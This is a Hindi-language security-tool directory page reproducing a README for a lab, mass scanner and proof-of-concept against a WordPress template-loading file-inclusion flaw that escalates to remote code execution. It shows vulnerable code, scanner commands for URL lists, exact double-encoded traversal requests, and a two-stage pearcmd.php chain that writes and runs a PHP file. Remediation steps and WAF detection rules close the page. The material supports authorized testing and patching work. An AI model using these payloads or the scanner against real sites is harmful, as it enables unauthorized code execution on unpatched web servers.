Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-87902-wordpress-lfi-lab — प्रजनन लैब + URL-सूची स्कैनर + CVE-2026-87902 / GHSA-7hp8-65ch-5whp के लिए PoC — WordPress get_page_template() अनधिकृत LFI से सशर्त RCE तक (WP 4.7.0-7.1.1, 7.1.2 में ठीक किया गया)। अधिकृत/रक्षात्मक परीक्षण। | Kitploit
उपकरण/GitHubGitHub/dinosn/cve-2026-87902-wordpress-lfi-lab
भेद्यता स्कैनरवेब भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
लैब और अभ्यास
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

प्रजनन लैब + URL-सूची स्कैनर + CVE-2026-87902 / GHSA-7hp8-65ch-5whp के लिए PoC — WordPress get_page_template() अनधिकृत LFI से सशर्त RCE तक (WP 4.7.0-7.1.1, 7.1.2 में ठीक किया गया)। अधिकृत/रक्षात्मक परीक्षण।

रिपॉजिटरी देखें
371 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() अनधिकृत LFI → सशर्त RCE

प्रजनन लैब + URL-सूची स्कैनर + PoC, Docker लैब पर वास्तविक WordPress 7.1.1 (असुरक्षित) और 7.1.2 (पैच किया गया) के विरुद्ध बनाया और एंड-टू-एंड सत्यापित किया गया।

  • सलाहकारी: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • प्रकार: CWE-98 include/require के लिए फ़ाइलनाम का अनुचित नियंत्रण (पथ ट्रैवर्सल → स्थानीय PHP समावेशन)
  • प्रभावित: WordPress 4.7.0 – 7.1.1 (7.1.2 में और प्रति-शाखा बैकपोर्ट में ठीक किया गया: 7.0.6, 6.9.9, 6.8.10 … 4.7.37 तक)
  • प्रमाणीकरण: कोई नहीं। CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • पूर्व शर्तें: (1) सक्रिय थीम में page-* नाम की शीर्ष-स्तरीय निर्देशिका हो (जैसे — Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney में मौजूद); (2) केवल RCE के लिए: एक पठनीय और ।
page-templates/
pearcmd.php
register_argc_argv=On

1. मूल कारण (7.1.1 बनाम 7.1.2 स्रोत के विरुद्ध सत्यापित)

wp-includes/template.php :: get_page_template() हमलावर-नियंत्रित pagename क्वेरी वेरिएबल से validate_file() के बिना एक टेम्पलेट उम्मीदवार बनाता है:

root@kitploit:~
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
root@kitploit:~
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root

इसके बाद locate_template() file_exists($theme_dir . '/' . $candidate) करता है और मिले हुए को include करता है। चूँकि उम्मीदवार page-{...}.php है, पेलोड को page- से शुरू होने वाली वास्तविक थीम निर्देशिका को जारी रखना चाहिए (जैसे page-templates/) और फिर किसी भी पठनीय .php तक पहुँचने के लिए ../ से बाहर निकलना चाहिए।

डबल-एन्कोडिंग अनिवार्य है। get_query_var('pagename') पहले से ही PHP द्वारा सिंगल-डिकोड किया जाता है, इसलिए सादा ../ urldecode($pagename) === $pagename बना देता है और असुरक्षित शाखा छोड़ दी जाती है। एक डबल-एन्कोडेड %252e%252e%252f पहले डिकोड के बाद %2e%2e%2f के रूप में बचा रहता है और अतिरिक्त urldecode() द्वारा ही ../ में बदला जाता है — यही बग है।


2. लैब (lab/)

Docker होस्ट पर वास्तविक रिलीज़ साथ-साथ, केवल सुरक्षा फिक्स से भिन्न:

सेवाURL (केवल लूपबैक)WordPressभूमिका
wp-vulnhttp://127.0.0.1:80917.1.1असुरक्षित
wp-patchedhttp://127.0.0.1:80927.1.2पैच किया गया नियंत्रण
db—MySQL 8.4साझा (दो डेटाबेस)

बेस इमेज wordpress:php8.3-apache (जो पहले से pearcmd.php और register_argc_argv=On के साथ आती है), बंडल किए गए कोर को प्रामाणिक wordpress-7.1.1.zip / 7.1.2.zip से बदलकर। Twenty Fourteen सक्रिय है (वास्तविक page-templates/), और सक्रिय थीम में एक page-templates/ फिक्स्चर भी बनाया गया है। प्रकाशित पृष्ठ id = 2 (Sample Page)।

root@kitploit:~
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh        # build + install both instances (idempotent)
./down.sh      # tear down + remove volumes

पोर्ट केवल 127.0.0.1 पर बाइंड होते हैं — असुरक्षित इंस्टेंस कभी नेटवर्क-एक्सपोज़्ड नहीं होता।


3. स्कैनर / PoC (poc/cve-2026-87902-scan.py)

Python 3, केवल stdlib (कोई pip install नहीं)। URL की सूची लेता है और बताता है कि कौन से असुरक्षित हैं। डिफ़ॉल्ट स्कैन गैर-विनाशकारी है: यह केवल-पठन कोर फ़ाइल wp-links-opml.php को शामिल करता है और परिणामी OPML दस्तावेज़ को खोजता है — प्रमाण कि मनमाना-.php समावेशन चला, बिना किसी लेखन और बिना किसी स्थिति परिवर्तन के।

root@kitploit:~
# single URL
./cve-2026-87902-scan.py http://target/

# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q

लक्ष्य को कैसे वर्गीकृत किया जाता है

  1. फिंगरप्रिंट WordPress + संस्करण (meta generator → feed <generator> → wp-links-opml.php → readme.html → /wp-includes/ asset ?ver=)।
  2. खोजें एक वैध प्रकाशित पृष्ठ id (REST /wp/v2/pages, ?rest_route= फ़ॉलबैक, होमपेज page-id-N, डिफ़ॉल्ट page_id=2) — आवश्यक ताकि अनुरोध एक Page पर हल हो और get_page_template() चले।
  3. OPML ओरेकल स्वीप: segment × depth के लिए (डिफ़ॉल्ट segment templates, depths 4,3,5,6,7), भेजें page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, canonical रीडायरेक्ट से बचने के लिए) और HTTP 200 की आवश्यकता हो जिसमें <opml version="1.0"> + एक संरचनात्मक द्वितीयक मार्कर (</opml> / <outline / <dateCreated>) हो।
  4. नकारात्मक नियंत्रण (कारणता प्रमाण): हिट पर, समान अनुरोध को एक गारंटीकृत-अस्तित्वहीन .php की ओर इंगित करके पुनः जारी करें। यदि OPML अभी भी दिखाई देता है, तो OPML परिवेशीय है (प्रॉक्सी / कैश / फ़ीड ऐप), हमारा समावेशन नहीं → POSSIBLY में डाउनग्रेड। केवल वह हिट जिसका नियंत्रण साफ़ है, VULNERABLE है।

मजबूती: सबडायरेक्टरी पथ सुरक्षित रखता है (http://host/blog), gzip/deflate और विषम charset संभालता है, ट्रांसपोर्ट त्रुटि पर एक बार प्रोब पुनः प्रयास करता है, पृष्ठ id खोजता/सत्यापित करता है (REST → ?rest_route= → होमपेज → डिफ़ॉल्ट), प्रति-लक्ष्य समय बजट लागू करता है, और कम-विश्वास संस्करण स्रोत (asset ?ver= / readme.html) से कभी NOT_VULNERABLE का दावा नहीं करता — वे POSSIBLY में बदल जाते हैं।

निर्णयअर्थ
VULNERABLEOPML ओरेकल चला — LFI पुष्ट (निर्णायक)
NOT_VULNERABLEपैच की गई शाखा संस्करण, या 4.7.0–7.1.1 के बाहर संस्करण
POSSIBLY_VULNERABLEअसुरक्षित/अज्ञात संस्करण लेकिन ओरेकल मौन (संभवतः कोई page-* थीम डिर नहीं, गैर-मानक लेआउट, या कोई खोजने योग्य पृष्ठ id नहीं) — मैन्युअल रूप से सत्यापित करें
NOT_WORDPRESS / ERRORकोई WP संकेतक नहीं / ट्रांसपोर्ट विफलता

एग्ज़िट कोड: 2 यदि कोई VULNERABLE, 1 यदि कोई POSSIBLY (और कोई VULNERABLE नहीं), अन्यथा 0।

उपयोगी फ़्लैग: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (प्रति-लक्ष्य बजट), --timeout, --threads, --proxy, --header, --insecure (TLS बंद — केवल डेव), --json, --jsonl। सबडायरेक्टरी में WordPress इंस्टॉल के लिए, पूरा बेस पास करें (जैसे https://host/blog); Bedrock/core-in-wp/ के लिए स्वीप wp/-प्रीफ़िक्स्ड ओरेकल लक्ष्य भी आज़माता है।

RCE एस्केलेशन (ऑप्ट-इन, लैब उपयोग)

root@kitploit:~
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

PEAR pearcmd.php श्रृंखला चलाता है: +-विभाजित क्वेरी स्ट्रिंग में config-create argv होता है जो /tmp के अंतर्गत एक कोट-मुक्त मार्कर .php लिखता है; एक दूसरा अनुरोध इसे शामिल करता है। निष्पादित मार्कर + php_uname() + uid प्रिंट करता है। लक्ष्य पर एक फ़ाइल लिखता है → एकल-लक्ष्य, --i-have-authorization आवश्यक, डिफ़ॉल्ट रूप से बंद।


4. प्रमाण (evidence/)

फ़ाइलयह क्या सिद्ध करती है
manual-validate.sh / ev-lfi.logOPML ओरेकल 7.1.1 पर चलता है (depth 4, POST और GET), 7.1.2 पर मौन; केवल depth 4 काम करता है; सिंगल-एन्कोडिंग विफल
rce-validate.sh / ev-rce.log7.1.1 पर पूर्ण PEAR RCE (uid=33 www-data के रूप में, depth 7); पैच किया गया कोई फ़ाइल नहीं लिखता, कुछ निष्पादित नहीं करता
ev-scan-table.log / ev-scan-results.json{vuln, patched, non-WP, dead} पर स्कैनर: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR

सिद्ध अनुरोध आकार:

root@kitploit:~
LFI (detection, non-destructive):
  POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
  -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):
  Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
           body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
  Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
           -> body contains the executed marker + php_uname() + uid=33

5. उपचार

  • WordPress को 7.1.2 में अपडेट करें (या अपनी शाखा के लिए ठीक किया गया रिलीज़: 7.0.6, 6.9.9, 6.8.10, … 4.7.37)।
  • गहन-रक्षा: वेब SAPI के लिए PHP register_argc_argv=Off सेट करें और pearcmd.php को हटाएँ/अस्वीकार करें; यह RCE एस्केलेशन को हटा देता है भले ही LFI पहुँच योग्य हो।
  • डिटेक्शन/WAF: पैरामीटर कीज़ और वैल्यूज़ (और डुप्लिकेट पैराम) को पूरी तरह URL-डिकोड करने के बाद, किसी भी pagename को ब्लॉक करें जिसमें .. हो; साइट रूट या /index.php पर page_id + templates%252f से शुरू होने वाले / %252e%252e युक्त pagename का सह-अस्तित्व लगभग निश्चित शोषण संकेत है।

केवल अधिकृत सुरक्षा परीक्षण, शिक्षा, और रक्षात्मक अनुसंधान के लिए।

टूल डाउनलोड करें